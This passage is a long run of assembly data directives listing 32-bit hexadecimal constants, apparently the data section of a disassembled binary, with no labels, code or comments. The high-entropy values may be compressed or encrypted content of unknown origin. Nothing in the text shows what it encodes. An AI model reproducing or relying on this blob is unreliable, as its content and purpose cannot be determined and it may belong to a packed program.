		dd 0B600CB59h, 2BC919D5h, 0DC068Ch, 0E2919FD4h,	459392AFh
		dd 3E3AC048h, 0BA4E0066h, 0C6F7BD81h, 10050F72h, 0BBC0A308h
		dd 4E4454E9h, 7CA28A02h, 40A0D7F4h, 26E07Ch, 8EDBD621h
		dd 0B506DC87h, 1C12DA03h, 0B0D54A41h, 329A00Ah,	3A13D01h
		dd 97E042B7h, 88F82283h, 516AB60Eh, 0C93F8772h,	7EFB64D0h
		dd 395AFE23h, 8E3ABA5h,	2000B5AEh, 66FB5D6Bh, 1EBBDCAAh
		dd 57F1FFE0h, 0A317002Eh, 141B2AC9h, 5C3D18C4h,	90E0391Bh
		dd 21F20F40h, 89C82D33h, 0FB5D23Ah, 0EFB90143h,	0C9A51803h
		dd 38FEDBh, 7E5FB638h, 8D456431h, 0BA999E0Ch, 0C0370865h
		dd 31967A21h, 38009A58h, 0B1D5C23Ah, 2F86E9h, 0A90F2AD7h
		dd 0C4F496F6h, 0FBEA7300h, 9F6A610Bh, 0DBCD58DDh, 85932401h
		dd 0D4E5DA64h, 5D004C15h, 0DB12B448h, 72FA9198h, 0D2F4ECh
		dd 0D42CEF77h, 4EAB169Bh, 0C8B31C03h, 0EFF4225Bh, 0A009C733h
		dd 7E3C484h, 82FDBD86h,	0CD47020h, 26010168h, 10396324h
		dd 91D4D516h, 345B00C5h, 419E2B1Bh, 8E7FB7FBh, 93985607h
		dd 8F13B59Fh, 0B47388F9h, 705100ABh, 5978421Eh,	0AF00CE56h
		dd 7766957Fh, 0F0922Ah,	7175A86Ah, 0B799AA47h, 50FDD303h
		dd 0B0260EB6h, 1584D86h, 0F22A0B82h, 0D129F3BAh, 0FE218027h
		dd 82FB4D8Eh, 0CFEB0B36h, 5280DFE1h, 0AA5FADEDh, 43317407h
		dd 0C9C0E21Fh, 3B6330Bh, 8E0425C4h, 1000260Dh, 8490532Eh
		dd 0EF7797Fh, 0F631B7B3h, 0B921548Ch, 0C6905A00h, 0A8B4EEB1h
		dd 6CC90059h, 0FF5D96EAh, 4406639Ch, 25F98AF0h,	80E3A30h
		dd 0FE76830Ch, 0F0FC611h, 0C0ACC573h, 177509D2h, 65CEE8D3h
		dd 0C73F2032h, 0F20F106Dh, 5C0657B5h, 1B7F3E82h, 1EB0B8h
		dd 0ACB3A484h, 0CCF98D48h, 12D5751Dh, 93A73481h, 8085F170h
		dd 20853377h, 0EF73113Ch, 0D343AC79h, 35211933h, 295373D0h
		dd 0E9BFB900h, 54F02F56h, 64950550h, 0B98A618h,	3408A187h
		dd 77B800A8h, 6FE28175h, 5A615300h, 873CED07h, 5DD70002h
		dd 0EACD7733h, 0B0001175h, 0B440FFEFh, 48B80656h, 78097E37h
		dd 3080677Fh, 9A16DC0Fh, 12088607h, 75F0AABBh, 26D19Eh
		dd 1C66DFDDh, 896A4C40h, 0EB1F8E7Dh, 0E7409D3Eh, 42D826A7h
		dd 16BE005Bh, 9901DA6Ch, 0DB29B961h, 54C10496h,	43F1CA7Ah
		dd 1980D9F5h, 0DFAC60FBh, 9D0C3D23h, 84D5B6Dh, 8521C016h
		dd 0EE43AC58h, 0BC665A18h, 79A94C51h, 8174A3h, 598BFBF8h
		dd 2921A86h, 0EC618C1Fh, 0FCD209C0h, 3C78B3FAh,	9180CFB9h
		dd 0B8C92182h, 48C0DFA4h, 0AE425EC0h, 17DD1C60h, 0B02D0132h
		dd 0E9283E78h, 4E36E459h, 96209F60h, 0F6ABB70Dh, 820A7B9h
		dd 57CF28F5h, 804490FCh, 0CF7842h, 0B447FEA7h, 1A0816D5h
		dd 9B9C2900h, 77051FD8h, 0AB281DB7h, 984C14A4h,	63C06E88h
		dd 4623D0ACh, 79102255h, 4FAC009Ah, 98EB23D8h, 46020E77h
		dd 36164030h, 0F9080A0h, 60BEA8BAh, 8A81996Ch, 61D6019h
		dd 0FE8CF886h, 0CE8308ADh, 19A02C21h, 3C74A45Ah, 6E89854h
		dd 4D236217h, 3B7E09h, 0E92D7CD6h, 0C2BE0F9Bh, 44A3E731h
		dd 310CBF02h, 0B2800A43h, 2D4A3833h, 0B74A32Ch,	0BB066142h
		dd 5C78290Bh, 883C8C18h, 0E2727611h, 0E51301D7h, 3D0BDF4Dh
		dd 83A7D14Eh, 726A4F21h, 838BA0DAh, 0DED3001Bh,	5CF5E8E5h
		dd 80FDB63Ah, 84CA1129h, 78B20Fh, 0EFFCE583h, 8045A18Bh
		dd 0A09DED2Ah, 0DB090260h, 0F33A3Bh, 0A9910CDh,	0FB905F26h
		dd 544FD10Ah, 4674CC7Fh, 0B3160111h, 0E633AFEBh, 3997F0h
		dd 79778C01h, 62BC11A6h, 8A9F8A74h, 0AC1E5CDFh,	0A6004A50h
		dd 67C7F80h, 0F790760Eh, 0C1388C07h, 2D99636h, 0A07DBE40h
		dd 55C225D8h, 4E4008E5h, 0B38CA269h, 732F21ADh,	0D1345014h
		dd 0F3B602BEh, 191F2B08h, 63938F40h, 4AC3830Eh,	0E6ED20ABh
		dd 90A4D8E7h, 0B076154Ch, 3628C011h, 39C14480h,	0F13FD00h
		dd 27280765h, 0B7E90AD1h, 0E5BE8Bh, 738921D8h, 12502A3Ah
		dd 0A1FC8020h, 3D6EAC88h, 2780D15Eh, 91EB2C90h,	0C23AA666h
		dd 0F0BA3017h, 0F21C741h, 0BB5F2BFFh, 750AFA80h, 58C578B5h
		dd 92C01144h, 9AB28958h, 0BD992E14h, 0CFC0004Fh, 9F387D6Ah
		dd 214508CCh, 0C9D600E7h, 9871AABFh, 9B01D80Bh,	6E40BAD3h
		dd 0AC406792h, 48B0FA13h, 60781CE7h, 1F5DB1DFh,	0F6060170h
		dd 0E6D0F9C8h, 3C821020h, 19DB2699h, 807F033Ah,	0F89D7713h
		dd 16C5351Ah, 78DEE89h,	3A28CAE7h, 218B00F4h, 4A900947h
		dd 0C2F9F737h, 0E56A54E0h, 17D6167Ah, 8C5300BFh, 4D7D0BACh
		dd 89C23D07h, 93C5E4B3h, 6506EC4Fh, 9C02A43Eh, 2FADFFD4h
		dd 0A2CECD83h, 0E461802h, 2201EC4h, 0B4A05315h,	2D2BE6D4h
		dd 149C2728h, 1CC64220h, 609ECD54h, 0F30BA505h,	8C069450h
		dd 0C0C74Ch, 25BFACFFh,	0F76C9BBh, 1FD43F06h, 0C80B5AAh
		dd 669B804Ah, 0F2285F5Ah, 8B54ACB2h, 0F913CD94h, 0D451A2F8h
		dd 0D42B7BCCh, 843EE464h, 0AFC05EC9h, 0F3209162h, 0FE05C9B2h
		dd 5BB70BB8h, 848C8E3Ah, 0BF0E2868h, 822B42EFh,	86101CABh
		dd 370DAE8h, 24C66E3Ah
		dd 5DF8DD61h, 7483D412h, 0F09C496Eh, 8AACC29Eh,	0EF316523h
		dd 0AC599810h, 2900CC7Dh, 944C57E1h, 0B0BB72D0h, 0E2C1044h
		dd 7BE42EB2h, 89B8BA18h, 0DEC1CE42h, 9A5C9100h,	5E00F614h
		dd 9F7B2A5Bh, 89D24Ah, 0B3CA5977h, 634BFE80h, 663D5415h
		dd 0A94005E8h, 23823873h, 9E58C05Dh, 0B08F8A9Ah, 8B8388A8h
		dd 26DBF12Ah, 0C224DFF8h, 58553843h, 24864C6Dh,	1EA9F0C0h
		dd 0AB0390F2h, 9D63FA69h, 5F97C40h, 0EACA9A77h,	49848411h
		dd 548088C8h, 6EBDC5F8h, 0A2214890h, 408449AEh,	19D060AAh
		dd 0F6062362h, 3E009911h, 58EA1989h, 6D01C08Eh,	24503D02h
		dd 0D44EA665h, 0A1CFEC88h, 0B4153E81h, 10057C20h, 0B7083F5h
		dd 0F5BC106Bh, 8050D70Ah, 0B7A30902h, 300535Ah,	0DF5E36A9h
		dd 0BF26BAh, 0F98F8170h, 747246C4h, 6061BCA2h, 0FC7018F6h
		dd 151310B5h, 80AEC84Eh, 3B72684Dh, 0E800068Ah,	3C3AECC0h
		dd 1196692Ah, 9902C8h, 0A4C5403Eh, 1DE8D5F6h, 24F1F8h
		dd 8D45B623h, 41E266F0h, 0FCADB40h, 9E652680h, 0C910E220h
		dd 0D400061Dh, 7D5CC471h, 601E46C0h, 0BF3EB04Dh, 990041D5h
		dd 0ECFF9DFEh, 18E41B14h, 51B82994h, 0E7308EC0h, 0CA4530ABh
		dd 0A0F14844h, 19AA1686h, 5946C092h, 5BC9D002h,	4C31D7C0h
		dd 81A9F211h, 0AB546D9Ch, 68603A8Dh, 0EC9580D7h, 38B26188h
		dd 2D9C0554h, 26D46893h, 4A18CC5Ah, 80AB1128h, 66119D1h
		dd 0B2448CAEh, 0B078B821h, 5AC207E6h, 803FD71Eh, 25F01541h
		dd 6E22C501h, 999D4C1Dh, 609230BEh, 252040C6h, 7D3045F9h
		dd 0BB65D518h, 0F251A1h, 72A57329h, 8786AE8Ah, 5510FC90h
		dd 2C8CBA1Fh, 50986E81h, 0E480AB20h, 0FC6600ECh, 0C9AF7FCDh
		dd 0D0A35D33h, 3F005F8Ch, 5E3ABB6Eh, 1E4009B9h,	0A409BC06h
		dd 0CE4F0401h, 6A84248Dh, 0AC67048Ch, 0CE3523D4h, 5F9E0058h
		dd 3CD70AACh, 9CC10111h, 6B2D0692h, 0E2C3477h, 4B7C7903h
		dd 0A016808Ch, 5C423812h, 0FABC7CC9h, 0B374008Ch, 3C24C9D5h
		dd 9CA48929h, 182EA000h, 646F5573h, 9DA50502h, 90053213h
		dd 0CC598B2Ch, 5EA04805h, 885071AEh, 35B80094h,	0F63640FBh
		dd 0A6138699h, 0E0125833h, 0E888348Bh, 0E415FC0h, 6F9C1B1h
		dd 4095BFF5h, 854C2288h, 5B464CB0h, 75093C4Ch, 703187C0h
		dd 0ABF8104Ah, 84E600C9h, 587139FAh, 0FE024F8Bh, 1E6BEC77h
		dd 65B48492h, 0D884414Bh, 0EDFF4497h, 4FA28881h, 0E7062B00h
		dd 0E830DC4Ch, 0AC018C98h, 96C07062h, 5092873Fh, 0AE9C086Eh
		dd 6619D4C0h, 22D64606h, 8D3A12B6h, 9B8FC19h, 82943BD5h
		dd 1A9427Ch, 0BCBDE795h, 89E517F9h, 1859440h, 0C6A556h
		dd 9CF85B6Ch, 0A31D58BBh, 3C9550Ch, 79E4A992h, 70220121h
		dd 2920F285h, 66BAC4F7h, 13DABF02h, 84C8E67Dh, 4C6297ECh
		dd 5D236EC0h, 52CE4091h, 905E8400h, 0C390545h, 4488E333h
		dd 7C0019A9h, 2A25E96Eh, 7A4951h, 2DE792B0h, 0B99A1E41h
		dd 4B48B490h, 84CF13D8h, 0E0A08021h, 3BE860h, 1B423128h
		dd 8391701Eh, 0A9BEB415h, 861C0098h, 6B84675Ch,	4B1E1790h
		dd 5AE800D8h, 9D7D5BD1h, 83281AFAh, 9B26CC74h, 0C750B077h
		dd 90470321h, 0B7CB5409h, 0D850C8DDh, 0A7921F1Bh, 0E579D0A0h
		dd 886A4C0Dh, 0DEC0ACC8h, 46066419h, 388873E6h,	0A81939F7h
		dd 0FFD50B83h, 59174371h, 3456C2CCh, 93FAE804h,	99B220E3h
		dd 38626030h, 5E2E8EB7h, 1F03B38h, 8CFB1B3Bh, 249503F7h
		dd 78032404h, 2EF24B13h, 672CA8C6h, 0C4FF6CEh, 0A17FF4ECh
		dd 3F27DB90h, 91D03986h, 0C7A5400h, 564765Dh, 0F46CFA13h
		dd 96C4A800h, 0A05AD97Fh, 4F8B1CB4h, 9D1472ACh,	0D8782008h
		dd 0BE308CECh, 2BBE9AEh, 46390083h, 0F4A036Eh, 6402D42Ah
		dd 42224C2Ch, 0C724404Eh, 6D08399h, 924DA315h, 7DC902B8h
		dd 827723F4h, 48488808h, 4FEE54h, 0FF09867Eh, 0E435E276h
		dd 0D485C11Fh, 460E2017h, 0F28A4EE0h, 21C5854h,	4167FDCFh
		dd 40AC815Fh, 3CEE16h, 3DB1DF77h, 0C0D24693h, 0A94D4560h
		dd 97931400h, 0E14CA4ABh, 0AE00176h, 0F45379A7h, 0B5047474h
		dd 38F0B80h, 563D1F25h,	0A7C0D93Bh, 0D43C44B3h,	0C362E0Fh
		dd 41AD1342h, 0F0509D54h, 0E72F74h, 24858649h, 149325B3h
		dd 28000878h, 0C71FEA3Fh, 48BE468Fh, 8500F4ECh,	9D960789h
		dd 2303AA69h, 5A92177Ch, 0D437E841h, 3C801D45h,	3E900096h
		dd 426DFE22h, 0D8CCE8C0h, 1C7F2D4Fh, 4784F951h,	805CAFE7h
		dd 544DF785h, 8A7EB100h, 813A1DD9h, 1758008Ch, 0A5D20D67h
		dd 3B00BFA3h, 0D198E58Fh, 13F5A4Dh, 0B10C1C20h,	0E941E8FFh
		dd 17AD8E4h, 5F51D11Fh,	3A176600h, 3A75588h, 3E1F4A4Bh
		dd 30972507h, 1D7E58F9h, 0B59E39h, 68D3D127h, 5F3CE7h
		dd 96C5FE30h, 12C4F79Ah, 86DDB900h, 0F283AF07h,	0D7CA0EEDh
		dd 0BAE0634Bh, 0E7F787Ch, 0E10009EAh, 0F09F22D6h, 0FAF97B36h
		dd 47A70E89h, 4220CD37h, 0A336BC4h, 0A0A8F700h,	0ED9C05BEh
		dd 61FE01D4h, 0C073E76Eh, 28D3F77Ah, 30E5E0CFh,	0DC13337Eh
		dd 0DD001C02h, 0FFC4418Eh, 19230EA3h, 14207805h, 0F93F1A25h
		dd 0C2953D00h, 0C4012245h, 0C734002Dh, 19FD53FCh, 5AF44316h
		dd 0E4BBD601h, 5874AA7Fh, 77EF4F0h, 3D414F85h, 2E380035h
		dd 0CA001AE4h, 653EE4Eh, 604FCE27h, 8C89E97Fh, 0B215E674h
		dd 0E8D050h, 0DB9194B0h, 60971Eh, 1FB198FCh, 8756076Ah
		dd 5F806400h, 5EE1AAA5h, 96D7588Fh, 8C164107h, 8B7650A6h
		dd 13008E1Dh, 0A994703Fh, 1515C80h, 722B0D1Eh, 0C43A8B21h
		dd 20005407h, 256321Dh,	0E60303Bh, 0E4290934h, 16000C2Eh
		dd 0F49B2372h, 664B6B00h, 3057B1Ah, 0D80103D5h,	83BF42A6h
		dd 0D2E9CDC0h, 37FEE800h, 0E3769198h, 52AF0094h, 0F08346D4h
		dd 0B500DCFFh, 0B21D6EA9h, 382AE76h, 4552C012h,	0F807D502h
		dd 6C900722h, 7B741B10h, 791F007Fh, 61173C78h, 0CC983772h
		dd 66396B00h, 70C3E1D8h, 7C3B1D88h, 0F85441C7h,	0C0F4928Ch
		dd 0B2001107h, 0BE1BD38h, 0E5FE8Eh, 48E4A374h, 0F0976AF9h
		dd 0E3CCA900h, 0E60E9158h, 43EB0072h, 0A8429AF3h, 0B315FCA4h
		dd 1C8509Ch, 0BD64A77Ch, 0E3601FCFh, 661C0037h,	46D443Fh
		dd 0B5001B18h, 8B39A072h, 0D7F042h, 3E29D54h, 854AA33Eh
		dd 1222B39h, 3F24328Dh,	77D006D1h, 50C73CF8h, 7B4A4F04h
		dd 9D908882h, 56FFF300h, 0A3DEEE11h, 18D790DBh,	0E0022397h
		dd 0B47DDDA9h, 0C64AE300h, 8F0F76D8h, 0B35A0014h, 0FDF77510h
		dd 9B00E7FFh, 0B65B1FAAh, 0E43EA3h, 4593B0A7h, 0D373144Ch
		dd 86FFF100h, 7DFD6F9Ch, 52CF06EEh, 0F885641Ah,	731406FEh
		dd 0FC7804h, 2FBB777Ch,	0AC69D3h, 330B2A05h, 0EE6B865Eh
		dd 57FA020Fh, 16D8E003h, 90C434B8h, 0E0FB00D0h,	29CDC0CBh
		dd 7300A54Ch, 0E64891D5h, 1A1570Fh, 2575FD80h, 3086EE89h
		dd 0BAF884F0h, 0E1615B00h, 0ED9240C6h, 484D007Ah, 5346CEABh
		dd 0BC00E50Ch, 25375A17h, 0D1D477h, 4E9763C5h, 0DA10AA35h
		dd 0E450C660h, 1F53D74Bh, 80D539CCh, 72B0C2D4h,	0DAF0DDEDh
		dd 0BBEC175Bh, 0FF269900h, 3BA5A1A9h, 0E2475800h, 3D894213h
		dd 6280123h, 8B9C4914h,	0F3B8D7AFh, 1A02DEA9h, 0EBB15BD7h
		dd 9E9880DFh, 1229549h,	43798130h, 30B93DA0h, 3E01B0F9h
		dd 127646D9h, 0F7E8676Ah, 0ED8A00ABh, 0A18C0529h, 0FE022EBEh
		dd 0E8D5D403h, 19BFE0C0h
		dd 826201F2h, 1783925Bh, 6D86E0A3h, 13227500h, 0B1639FA4h
		dd 3A420311h, 8773560Fh, 0B599F5B0h, 4961A700h,	855C5A3Eh
		dd 532201B2h, 1D140F05h, 0D359DC6Fh, 6771AD01h,	0DCCC4C0h
		dd 336DCFCh, 0E8CEEB6Ch, 21C0E2CDh, 8A6F3049h, 0D55564E8h
		dd 8B4A001Dh, 9AD02A24h, 770FA273h, 3379BAB4h, 0C2CE7407h
		dd 4FA3BF77h, 78100119h, 57C9BBE7h, 0A763D4DDh,	788304Ch
		dd 809D0E01h, 0CBC0EA75h, 39302C4h, 8F79B454h, 9807419h
		dd 1C2CB051h, 0B6006C2Eh, 0DFD01FAEh, 0FC5D00A5h, 62573A4h
		dd 0B8A04253h, 0DA013A36h, 668CAE6Fh, 0E8300CABh, 318906Ah
		dd 8623F121h, 77884869h, 82F60A02h, 0FDF43800h,	9BA89C16h
		dd 1813C9Fh, 3CE24380h,	86BD6D39h, 80E12239h, 8AA8A349h
		dd 531C85h, 82109830h, 6CD78406h, 0E5604898h, 0ADB8C828h
		dd 0C5D803D1h, 0EE2A8A95h, 5E6CC08Fh, 65264A39h, 0C028BBCEh
		dd 104CB006h, 718CD8C7h, 9D73B60h, 0FC18530Ch, 0D207ED39h
		dd 836E0238h, 77E33500h, 2E820E7Ah, 73C05E3Dh, 0A2B9D715h
		dd 5BF59200h, 0C7075DC4h, 0C9A90029h, 0A1EF503Ch, 5100AAF3h
		dd 0BB1D3B2Ah, 576FC06h, 0ECE27D19h, 0D465C152h, 0DC14C49Eh
		dd 4264E50Fh, 0BF84C07Ch, 0E220FAFh, 65583CE6h,	0A1D79180h
		dd 5B0178C5h, 43C9D54Eh, 0DF206419h, 34A20230h,	0D7F3BFE7h
		dd 7976A580h, 1200061Eh, 7717B489h, 4C5966h, 0A59F50BFh
		dd 0DB6BC3F7h, 0D95B911Fh, 0F03C5D00h, 9C2A996h, 55B3049Fh
		dd 49016A0Bh, 0C4EC5AD8h, 18006447h, 1B15A7D0h,	0F85E22E8h
		dd 4E590021h, 0B8F08F0Ah, 10038B37h, 0FA8D0D95h, 26C0C86Eh
		dd 7B8A1EFCh, 0DFC9C3C2h, 53D07750h, 7F0044C7h,	4AC1F321h
		dd 0DDD56Ch, 0EE7E2AC8h, 0D789925Ah, 8B4D5801h,	3108A1F2h
		dd 1E1EBFF4h, 89454E2Dh, 50003EF5h, 825AE64Fh, 0EE889400h
		dd 0C6908CD5h, 0A3A4247Dh, 1C2E3947h, 0B9698554h, 671C9172h
		dd 75CEF882h, 0A104AC00h, 30ED029h, 0D7A90924h,	0BC02AB60h
		dd 0AA81E0ECh, 874E33BCh, 81F2C810h, 704D62CEh,	12DC686Bh
		dd 0B1DA00FBh, 0B0AA393Bh, 752838B3h, 0EC00105Ah, 33A7F3D8h
		dd 192E12h, 6D4FAB9h, 86303821h, 0E86E4700h, 0F35C7F2Fh
		dd 0D9123A13h, 29683303h, 0E90E3784h, 60F0DAAEh, 34DFD461h
		dd 8D250ABh, 0D6FC1B47h, 11F8A095h, 2960D999h, 0ABBEA890h
		dd 273E00D8h, 0C24FFE1Eh, 9B00B1A3h, 8547483Fh,	14D2310h
		dd 8D8B0316h, 309673CCh, 563F2104h, 0BEDD00DCh,	0F4D8E41Ah
		dd 28630002h, 0C407679h, 0DB002185h, 5F326EBDh,	0DA37FCh
		dd 0FCF9AFEh, 3546E6C8h, 42E3EC00h, 0E5CCF5C7h,	0F90A01CAh
		dd 0BE527A2Ch, 87B6C433h, 0AA782E00h, 64DEAFF3h, 26C428B1h
		dd 44B0092h, 25F942Dh, 56000889h, 10E5C1Dh, 4176DAh, 4722E1E8h
		dd 353CA3A2h, 9DD45D05h, 0BC409257h, 840C169Fh,	0A82850ECh
		dd 81862E4h, 0AC68D4D7h, 0C7000C2Fh, 21956553h,	4843FAh
		dd 5E8DCC3Bh, 3DCE7847h, 566159C4h, 0C80CAA30h,	1108E323h
		dd 232100AEh, 451ACF0Ch, 0E43A17DBh, 56C4ED9h, 53BE3E03h
		dd 68000CDBh, 857ED39Bh, 0B1A8AFh, 21BC7BEEh, 1072AD84h
		dd 50F3400Ch, 0E7F597Eh, 0DFEA8573h, 0ADB34160h, 0D004F7E7h
		dd 3157287Eh, 680D1490h, 0B0A80099h, 0AFD23873h, 0C2E8392Bh
		dd 0F24F68C0h, 79C9947h, 13194B18h, 0ED54022Dh,	2B59D501h
		dd 0F8294998h, 7400AF48h, 0FA353EE0h, 90623A94h, 5BCB01F4h
		dd 0F9920D41h, 0EE93C0EDh, 505A3627h, 13A07568h, 948EB7h
		dd 9BC4F135h, 452EB50Ch, 0E80FACDAh, 1706A007h,	0B17DE1h
		dd 0CFBB6A1Eh, 0ED16DEDh, 43FE0B04h, 1CC0381Bh,	7ECDDEh
		dd 68A816FAh, 0F073558Fh, 4F6D1700h, 0AD85C426h, 9E6A075Fh
		dd 1070114Eh, 4AFC2707h, 0F5AA600h, 0EF0CD4CBh,	3E423C48h
		dd 7EE5330Ch, 0F9EB6110h, 0C69DC1E6h, 45FD160h,	0C0ECDA04h
		dd 47C0DEBAh, 0F8FB9EA3h, 0F5A030A1h, 0F13F9069h, 1B83693Ah
		dd 0E12073EFh, 0FAEC8CDAh, 0B0431ECCh, 94EA80F7h, 4DDF2DB6h
		dd 29CB6306h, 519DA7h, 0CAF14498h, 0F288A3DEh, 15DC4600h
		dd 60977192h, 60A17F02h, 0F2707181h, 0D9005098h, 0BADFF721h
		dd 184EDDACh, 51A5EA7Eh, 900EBB0Fh, 48EC8Bh, 0C4ABE3D2h
		dd 37A27C4Eh, 2F06F7Ch,	988071AAh, 0D91E586Ah, 0CF5EB601h
		dd 4CEF2397h, 12F1C980h, 8C7B6EE7h, 15EE4A00h, 0FCDD601Ch
		dd 0F6917C30h, 0EDE40246h, 0BA98E785h, 0F77EDB80h, 1019DBB5h
		dd 0AE9880FEh, 95AF1F10h, 4C85E60h, 58EE0Eh, 0F68082D2h
		dd 6320C7F1h, 76CD9C03h, 0D75F45AFh, 0FCA834D0h, 0E3970374h
		dd 7595DA96h, 905C1FF8h, 8CC41300h, 5969EE14h, 2348003Dh
		dd 5BA53CF4h, 0DD3C9C87h, 4EB901A1h, 41E17C97h,	218089D1h
		dd 47DD94B2h, 22E0E70Fh, 17AFAA00h, 0F2F6BCD4h,	0C8F40F69h
		dd 4E21E193h, 0ED946C14h, 0A732F0F7h, 0D531FB1Fh, 0E7C8803Bh
		dd 4C5B733Ch, 0C09C742Bh, 27184510h, 1F26179Bh,	5719B794h
		dd 218F8908h, 3960305Eh, 2EB9E061h, 0C83FD000h,	0B03E1437h
		dd 612F6DA7h, 0BD3002A8h, 40E05F32h, 9357A717h,	1D671E30h
		dd 0B60CA9C0h, 67A4A29h, 0FACBB9B4h, 0A500206Fh, 0C7AEB247h
		dd 39502EAh, 70F5086Bh,	0F0074C06h, 981D424Dh, 247F4850h
		dd 3B59C091h, 0E8FE5058h, 81A5B00Bh, 0D93883AFh, 0A9E0875Dh
		dd 0E013B963h, 694660F6h, 8BA1DEECh, 0D227BD00h, 9D833A60h
		dd 11EE2Eh, 1CBBA9F6h, 0FAC92DD5h, 0F91A5E34h, 4623782Eh
		dd 0B365DD00h, 0C790203h, 432BC0EFh, 0A206B2C0h, 0A6EC7D42h
		dd 0E2C90F10h, 0F4C0E955h, 0C1145A65h, 195FC3Ah, 0DEB76DACh
		dd 82C09C16h, 21010164h, 5B7FEDE1h, 0F51DE013h,	51B8100Fh
		dd 4E252067h, 57B3FCh, 5248FBD1h, 0C14CA65Eh, 207ACE00h
		dd 33554B82h, 68736Eh, 0F4B77F3Bh, 0BAF5AEC2h, 670094B0h
		dd 41B3FA60h, 778BCAECh, 0C95C0338h, 15B87237h,	0CF96798h
		dd 7F4D2203h, 88B3BF0Dh, 0ABBAF1h, 1D6CA4ADh, 696BD536h
		dd 0E13DBCF6h, 3EA8F4Dh, 0ED34C731h, 5EFE25A0h,	0B5F3009Ah
		dd 43827481h, 0E5052F0Fh, 99D2A30Eh, 82AB3C0h, 0F058E0E1h
		dd 957F06h, 74844D82h, 5EF739FCh, 7D348900h, 32368C9h
		dd 0B5D00D7h, 539AC2F0h, 4014DFBFh, 0CE61CFh, 0F8F28AF6h
		dd 7303B9h, 5BEAA98Dh, 6FA1A334h, 5AA49500h, 8C46FEA5h
		dd 2C230083h, 0A0C47065h, 0CC00B760h, 28745240h, 3E7D03h
		dd 0C7A87EEEh, 36A5ECF4h, 86348807h, 0E00EE038h, 5B2D2F1Ch
		dd 0D55D0ED6h, 0C2C2F3EBh, 0C0DDBB16h, 1AD1848h, 0FFC59FCEh
		dd 8089142Fh, 0E3A8B59h, 0BF3A575h, 33AFED0Bh, 847C2800h
		dd 510020A7h, 505D6A03h, 70B4F78h, 0EFF74B04h, 0D921C00Ch
		dd 9500DD12h, 0A501EA68h, 1F96303Ah, 1E8DE32Bh,	94CC4008h
		dd 0A6D07088h, 3B64164Ch, 0A35F0030h, 6AD8F6BFh, 60DB0052h
		dd 0CC7779E4h, 21014989h, 5A0FF38Eh, 1180DCB0h,	0D68B0954h
		dd 371E3DE5h, 5DC913DFh, 0DA002051h, 1D86DED8h,	40FD66B2h
		dd 1A4C4A81h, 177070F0h, 83407D01h, 0B4386DD0h,	390635DCh
		dd 4E00DD8Eh, 0D366DB33h, 1600F1B2h, 4445CB42h,	0F692C5Ah
		dd 0AF6589FDh, 978805h,	3EF83DDEh, 0BB0E8BEDh, 79B662Ch
		dd 0C0BEC5DFh, 0D3A6E0Ah, 7DAF006Dh, 874ABD3Dh,	7A3DBFEDh
		dd 0A09C0711h, 32F0748Bh, 3FAB1F78h, 2A01A6D6h,	476520Fh
		dd 396EE892h
		dd 2B3F001h, 8CBFC654h,	5925F8h, 0B98E26C5h, 474DB2ECh
		dd 0A1CC1E00h, 798163DDh, 7552076Bh, 9778E8h, 34C0E6Dh
		dd 36E20700h, 0F6021B7Ah, 0F5D70090h, 3526EAE0h, 0E7286DAh
		dd 0A646C438h, 50173C87h, 0ACC500FFh, 0B2811C5Ah, 0DF0068E8h
		dd 1B44CE0Ch, 0C485E5h,	8E4D38B0h, 3C1601CCh, 8A20F01h
		dd 18B9A36Dh, 9CD8F0h, 521F482h, 0D4E0658Ah, 9117F500h
		dd 0EB122C89h, 165B00D0h, 8637EF8Bh, 33008CB7h,	6D365311h
		dd 318107h, 95B5E6B8h, 7371D60Ah, 8027133Bh, 6D55DBC4h
		dd 0B24E3h, 2A1841B2h, 0A3313EDFh, 0C85E6000h, 7116B8A4h
		dd 28B0739Ch, 84351Ah, 0D3B43699h, 3C4B93CFh, 0CEF5C600h
		dd 428C868Bh, 0ADAA00EEh, 218AFCF3h, 594887EDh,	16100F4h
		dd 529574C9h, 0D49F0071h, 65C7CA7Eh, 0AF3CC640h, 208401C0h
		dd 0E08296A0h, 284848FEh, 3D9F07C3h, 5CDA88h, 1F18F9B2h
		dd 0D9009CEEh, 81966071h, 3A3087EBh, 180FA75h, 2BE18D4h
		dd 0DC001CB1h, 0E3B9E81Ah, 0E090B7BAh, 600800C3h, 0CB104FADh
		dd 0DF020238h, 658CB252h, 0E4E8432Eh, 75E87480h, 61253C5Eh
		dd 11A4080h, 176BC365h,	9E4D5570h, 0F3830260h, 2A32AEh
		dd 0A666E83Eh, 1B68B900h, 19BF581Ah, 0F55A24F6h, 26560086h
		dd 0F06B57E2h, 7DA0BB13h, 3FA82800h, 2EE61C7h, 39C48923h
		dd 28C0104Ah, 1848434Dh, 9AFB0095h, 654B348Fh, 4F7C0CFDh
		dd 83A8DCE2h, 70039B07h, 0E7545791h, 58935CC1h,	0A8C770h
		dd 181BC435h, 0C2405FBBh, 89167C00h, 8E051C24h,	2C31D44Fh
		dd 509FD800h, 19712B6Ch, 21E458h, 0C599342Ch, 28E0E56Eh
		dd 1CF0A481h, 4E1540D5h, 0B5404B1Fh, 8A844F3Ah,	0DC9D0E00h
		dd 0D5BEE6F2h, 387B0009h, 307A07C9h, 9100C001h,	88C32A28h
		dd 38C8195Dh, 0B500AA89h, 0EE12DE1Ah, 293FAC18h, 0FCD40038h
		dd 0FECA14FBh, 4D8F03E9h, 0DC32B95Fh, 0A43080BCh, 0D701416Dh
		dd 2FF921Fh, 34F48ABBh,	599618FCh, 0F42CA9D1h, 66D818A3h
		dd 5A3A0371h, 5F4A022Eh, 0A4DA324Bh, 6200B328h,	0EA1189FEh
		dd 0F0315E8h, 13BE55A6h, 0DB3AE0DAh, 9FA512E9h,	11744798h
		dd 9B2CC38Ah, 487C1EA3h, 6F15E20Dh, 389D2167h, 0B7F6C326h
		dd 2BB1BB47h, 59204610h, 0CD118A0Ah, 19860CA5h,	511F2Dh
		dd 22B8CF9Fh, 0E8C631B3h, 0DB73Bh, 8535DABDh, 3EA6A1Fh
		dd 0F18263DEh, 0BAC8A783h, 4B1E10DDh, 1B4027D4h, 0FAEA6535h
		dd 9A850064h, 6AA034FBh, 0C90016AAh, 2614016Bh,	0DE2CB7h
		dd 0D007C1F6h, 83CED8D3h, 1B613Ah, 0D7F872D9h, 1E0DA571h
		dd 4048FCEFh, 5C3EDEABh, 0EB00E8D4h, 3F05D550h,	5B1545h
		dd 4BE258F2h, 6420E3F4h, 0CCFD6D00h, 62CCD4Ah, 0C2E61E0Dh
		dd 6E494E09h, 4D7842E0h, 8C55261Ch, 0D2C1D980h,	50337D00h
